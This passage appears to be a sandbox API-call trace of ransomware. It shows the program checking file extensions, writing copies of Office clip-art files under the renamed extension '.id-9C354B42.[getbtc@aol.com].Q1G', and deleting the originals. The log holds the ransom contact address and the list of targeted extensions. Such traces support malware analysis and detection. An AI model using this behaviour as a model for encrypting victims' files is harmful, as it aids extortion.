(lpString1=".dbf", lpString2=".WMF") returned -1 [0263.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153299.WMF") returned 63 [0263.530] lstrlenW (lpString=".1cd") returned 4 [0263.530] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0263.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153299.WMF") returned 63 [0263.530] lstrlenW (lpString=".jpg") returned 4 [0263.530] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0263.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153299.WMF") returned 63 [0263.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153299.WMF") returned 63 [0263.530] lstrlenW (lpString=".doc") returned 4 [0263.530] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0263.530] lstrlenW (lpString=".docx") returned 5 [0263.530] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0263.530] lstrlenW (lpString=".pdf") returned 4 [0263.530] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0263.530] lstrlenW (lpString=".xls") returned 4 [0263.530] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0263.530] lstrlenW (lpString=".xlsx") returned 5 [0263.530] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0263.530] lstrlenW (lpString=".ppt") returned 4 [0263.530] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0263.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153299.WMF") returned 63 [0263.530] lstrlenW (lpString=".zip") returned 4 [0263.530] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0263.530] lstrlenW (lpString=".rar") returned 4 [0263.530] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0263.530] lstrlenW (lpString=".bz2") returned 4 [0263.531] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0263.531] lstrlenW (lpString=".7z") returned 3 [0263.531] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0263.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153299.WMF") returned 63 [0263.531] lstrlenW (lpString=".dbf") returned 4 [0263.531] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0263.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153299.WMF") returned 63 [0263.531] lstrlenW (lpString=".1cd") returned 4 [0263.531] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0263.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153299.WMF") returned 63 [0263.531] lstrlenW (lpString=".jpg") returned 4 [0263.531] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0263.531] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0263.531] lstrlenW (lpString="J0153508.WMF") returned 12 [0263.531] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153508.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153508.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0263.537] GetFileSizeEx (in: hFile=0x1bc, lpFileSize=0x2f1ff1c | out: lpFileSize=0x2f1ff1c*=34256) returned 1 [0263.537] CloseHandle (hObject=0x1bc) returned 1 [0263.537] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153508.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153508.wmf")) returned 0x20 [0263.537] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153508.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153508.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0263.537] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153508.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153508.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0263.538] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0263.538] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0263.538] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153508.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153508.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0263.538] GetLastError () returned 0x0 [0263.538] ReadFile (in: hFile=0x1bc, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x85d0, lpOverlapped=0x0) returned 1 [0263.562] WriteFile (in: hFile=0x3e0, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0x85e0, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0x85e0, lpOverlapped=0x0) returned 1 [0263.564] ReadFile (in: hFile=0x1bc, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x0, lpOverlapped=0x0) returned 1 [0263.564] WriteFile (in: hFile=0x3e0, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0263.564] SetEndOfFile (hFile=0x3e0) returned 1 [0263.564] CloseHandle (hObject=0x3e0) returned 1 [0263.564] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0263.564] SetEndOfFile (hFile=0x1bc) returned 1 [0263.566] CloseHandle (hObject=0x1bc) returned 1 [0263.567] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153508.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0263.567] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153508.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153508.wmf")) returned 1 [0263.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153508.WMF") returned 63 [0263.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153508.WMF") returned 63 [0263.568] lstrlenW (lpString=".doc") returned 4 [0263.568] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0263.568] lstrlenW (lpString=".docx") returned 5 [0263.568] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0263.568] lstrlenW (lpString=".pdf") returned 4 [0263.568] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0263.568] lstrlenW (lpString=".xls") returned 4 [0263.568] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0263.568] lstrlenW (lpString=".xlsx") returned 5 [0263.568] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0263.568] lstrlenW (lpString=".ppt") returned 4 [0263.568] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0263.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153508.WMF") returned 63 [0263.568] lstrlenW (lpString=".zip") returned 4 [0263.568] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0263.568] lstrlenW (lpString=".rar") returned 4 [0263.568] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0263.568] lstrlenW (lpString=".bz2") returned 4 [0263.568] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0263.568] lstrlenW (lpString=".7z") returned 3 [0263.568] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0263.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153508.WMF") returned 63 [0263.568] lstrlenW (lpString=".dbf") returned 4 [0263.568] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0263.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153508.WMF") returned 63 [0263.568] lstrlenW (lpString=".1cd") returned 4 [0263.568] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0263.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153508.WMF") returned 63 [0263.568] lstrlenW (lpString=".jpg") returned 4 [0263.568] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0263.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153508.WMF") returned 63 [0263.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153508.WMF") returned 63 [0263.569] lstrlenW (lpString=".doc") returned 4 [0263.569] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0263.569] lstrlenW (lpString=".docx") returned 5 [0263.569] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0263.569] lstrlenW (lpString=".pdf") returned 4 [0263.569] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0263.569] lstrlenW (lpString=".xls") returned 4 [0263.569] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0263.569] lstrlenW (lpString=".xlsx") returned 5 [0263.569] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0263.569] lstrlenW (lpString=".ppt") returned 4 [0263.569] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0263.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153508.WMF") returned 63 [0263.569] lstrlenW (lpString=".zip") returned 4 [0263.569] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0263.569] lstrlenW (lpString=".rar") returned 4 [0263.569] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0263.569] lstrlenW (lpString=".bz2") returned 4 [0263.569] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0263.569] lstrlenW (lpString=".7z") returned 3 [0263.569] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0263.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153508.WMF") returned 63 [0263.569] lstrlenW (lpString=".dbf") returned 4 [0263.569] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0263.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153508.WMF") returned 63 [0263.569] lstrlenW (lpString=".1cd") returned 4 [0263.569] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0263.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153508.WMF") returned 63 [0263.569] lstrlenW (lpString=".jpg") returned 4 [0263.569] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0263.569] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0263.569] lstrlenW (lpString="J0153516.WMF") returned 12 [0263.570] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153516.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153516.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0263.570] GetFileSizeEx (in: hFile=0x1bc, lpFileSize=0x2f1ff1c | out: lpFileSize=0x2f1ff1c*=7432) returned 1 [0263.570] CloseHandle (hObject=0x1bc) returned 1 [0263.570] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153516.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153516.wmf")) returned 0x20 [0263.570] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153516.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153516.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0263.570] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153516.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153516.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0263.570] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0263.571] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0263.571] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153516.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153516.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0263.573] GetLastError () returned 0x0 [0263.573] ReadFile (in: hFile=0x1bc, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x1d08, lpOverlapped=0x0) returned 1 [0263.684] WriteFile (in: hFile=0x3e0, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0x1d10, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0x1d10, lpOverlapped=0x0) returned 1 [0263.685] ReadFile (in: hFile=0x1bc, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x0, lpOverlapped=0x0) returned 1 [0263.685] WriteFile (in: hFile=0x3e0, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0263.685] SetEndOfFile (hFile=0x3e0) returned 1 [0263.685] CloseHandle (hObject=0x3e0) returned 1 [0263.687] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0263.687] SetEndOfFile (hFile=0x1bc) returned 1 [0263.689] CloseHandle (hObject=0x1bc) returned 1 [0263.689] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153516.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0263.700] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153516.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153516.wmf")) returned 1 [0263.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153516.WMF") returned 63 [0263.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153516.WMF") returned 63 [0263.737] lstrlenW (lpString=".doc") returned 4 [0263.737] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0263.737] lstrlenW (lpString=".docx") returned 5 [0263.737] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0263.737] lstrlenW (lpString=".pdf") returned 4 [0263.737] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0263.737] lstrlenW (lpString=".xls") returned 4 [0263.737] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0263.737] lstrlenW (lpString=".xlsx") returned 5 [0263.737] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0263.737] lstrlenW (lpString=".ppt") returned 4 [0263.737] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0263.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153516.WMF") returned 63 [0263.737] lstrlenW (lpString=".zip") returned 4 [0263.737] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0263.737] lstrlenW (lpString=".rar") returned 4 [0263.737] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0263.737] lstrlenW (lpString=".bz2") returned 4 [0263.737] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0263.737] lstrlenW (lpString=".7z") returned 3 [0263.737] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0263.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153516.WMF") returned 63 [0263.737] lstrlenW (lpString=".dbf") returned 4 [0263.737] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0263.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153516.WMF") returned 63 [0263.737] lstrlenW (lpString=".1cd") returned 4 [0263.737] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0263.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153516.WMF") returned 63 [0263.738] lstrlenW (lpString=".jpg") returned 4 [0263.738] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0263.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153516.WMF") returned 63 [0263.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153516.WMF") returned 63 [0263.738] lstrlenW (lpString=".doc") returned 4 [0263.738] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0263.738] lstrlenW (lpString=".docx") returned 5 [0263.738] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0263.738] lstrlenW (lpString=".pdf") returned 4 [0263.738] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0263.738] lstrlenW (lpString=".xls") returned 4 [0263.738] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0263.738] lstrlenW (lpString=".xlsx") returned 5 [0263.738] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0263.738] lstrlenW (lpString=".ppt") returned 4 [0263.738] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0263.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153516.WMF") returned 63 [0263.738] lstrlenW (lpString=".zip") returned 4 [0263.738] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0263.738] lstrlenW (lpString=".rar") returned 4 [0263.738] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0263.738] lstrlenW (lpString=".bz2") returned 4 [0263.738] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0263.738] lstrlenW (lpString=".7z") returned 3 [0263.738] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0263.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153516.WMF") returned 63 [0263.738] lstrlenW (lpString=".dbf") returned 4 [0263.738] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0263.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153516.WMF") returned 63 [0263.738] lstrlenW (lpString=".1cd") returned 4 [0263.738] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0263.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153516.WMF") returned 63 [0263.738] lstrlenW (lpString=".jpg") returned 4 [0263.738] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0263.739] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0263.739] lstrlenW (lpString="J0160590.WMF") returned 12 [0263.739] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0160590.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0160590.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0263.801] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x2f1ff1c | out: lpFileSize=0x2f1ff1c*=29406) returned 1 [0263.801] CloseHandle (hObject=0x39c) returned 1 [0263.801] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0160590.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0160590.wmf")) returned 0x20 [0263.803] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0160590.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0160590.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0263.812] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0160590.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0160590.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0263.812] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0263.812] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0263.812] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0160590.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0160590.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0263.813] GetLastError () returned 0x0 [0263.813] ReadFile (in: hFile=0x3e0, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x72de, lpOverlapped=0x0) returned 1 [0263.816] WriteFile (in: hFile=0x3a0, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0x72e0, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0x72e0, lpOverlapped=0x0) returned 1 [0263.817] ReadFile (in: hFile=0x3e0, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x0, lpOverlapped=0x0) returned 1 [0263.817] WriteFile (in: hFile=0x3a0, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0263.817] SetEndOfFile (hFile=0x3a0) returned 1 [0263.818] CloseHandle (hObject=0x3a0) returned 1 [0263.818] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0263.818] SetEndOfFile (hFile=0x3e0) returned 1 [0263.820] CloseHandle (hObject=0x3e0) returned 1 [0263.820] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0160590.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0263.821] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0160590.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0160590.wmf")) returned 1 [0263.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0160590.WMF") returned 63 [0263.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0160590.WMF") returned 63 [0263.821] lstrlenW (lpString=".doc") returned 4 [0263.821] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0263.821] lstrlenW (lpString=".docx") returned 5 [0263.821] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0263.821] lstrlenW (lpString=".pdf") returned 4 [0263.821] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0263.821] lstrlenW (lpString=".xls") returned 4 [0263.821] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0263.821] lstrlenW (lpString=".xlsx") returned 5 [0263.821] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0263.821] lstrlenW (lpString=".ppt") returned 4 [0263.821] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0263.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0160590.WMF") returned 63 [0263.822] lstrlenW (lpString=".zip") returned 4 [0263.822] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0263.822] lstrlenW (lpString=".rar") returned 4 [0263.822] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0263.822] lstrlenW (lpString=".bz2") returned 4 [0263.822] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0263.822] lstrlenW (lpString=".7z") returned 3 [0263.822] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0263.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0160590.WMF") returned 63 [0263.822] lstrlenW (lpString=".dbf") returned 4 [0263.822] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0263.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0160590.WMF") returned 63 [0263.822] lstrlenW (lpString=".1cd") returned 4 [0263.822] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0263.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0160590.WMF") returned 63 [0263.822] lstrlenW (lpString=".jpg") returned 4 [0263.822] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0263.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0160590.WMF") returned 63 [0263.822] lstrlenW (lpString="C:\\Program Files\\Microsoft 